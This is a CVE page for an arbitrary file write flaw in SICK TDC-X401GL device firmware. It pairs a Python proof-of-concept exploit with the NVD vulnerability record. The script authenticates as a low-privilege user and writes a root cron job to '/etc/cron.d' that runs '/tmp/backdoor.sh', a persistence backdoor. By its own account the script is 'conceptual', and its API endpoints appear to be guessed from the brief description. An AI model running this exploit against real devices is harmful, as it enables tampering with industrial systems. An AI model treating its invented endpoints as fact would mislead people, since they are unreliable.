CVE-2026-22914

# CVE-2026-22914 PoC - SICK Device Arbitrary File Write # Note: This is a conceptual PoC based on vulnerability description # Requires authentication with low-privilege account import requests import sys TARGET_HOST = "https://target-device.local" USERNAME = "low_priv_user" PASSWORD = "password" TARGET_PATH = "/etc/cron.d/malicious_script" def exploit_cve_2026_22914(): """ Exploit for arbitrary file write vulnerability in SICK devices. The vulnerability allows authenticated users with low privileges to write files to arbitrary locations on the device. """ # Authentication session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Login to obtain session login_url = f"{TARGET_HOST}/api/login" response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated") # File write payload malicious_content = "#!/bin/bash\n# Malicious cron job\n* * * * * root /tmp/backdoor.sh" # Exploit the arbitrary file write vulnerability # Target specific file writing endpoint write_url = f"{TARGET_HOST}/api/file/write" exploit_data = { 'path': TARGET_PATH, 'content': malicious_content, 'overwrite': True } response = session.post(write_url, json=exploit_data) if response.status_code == 200: print(f"[+] File successfully written to {TARGET_PATH}") print(f"[+] System may now be compromised") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-22914 PoC - SICK Device Arbitrary File Write") exploit_cve_2026_22914()

{"cve": {"id": "CVE-2026-22914", "sourceIdentifier": "[email protected]", "published": "2026-01-15T13:16:06.250", "lastModified": "2026-01-23T15:27:45.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker with limited permissions may still be able to write files to specific locations on the device, potentially leading to system manipulation."}, {"lang": "es", "value": "Un atacante con permisos limitados aún podría ser capaz de escribir archivos en ubicaciones específicas en el dispositivo, potencialmente llevando a la manipulación del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "59BB5012-A895-4A93-B36F-A062A9389DB1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A95E220-0816-4885-AB7C-D0BB6F27DB7A"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}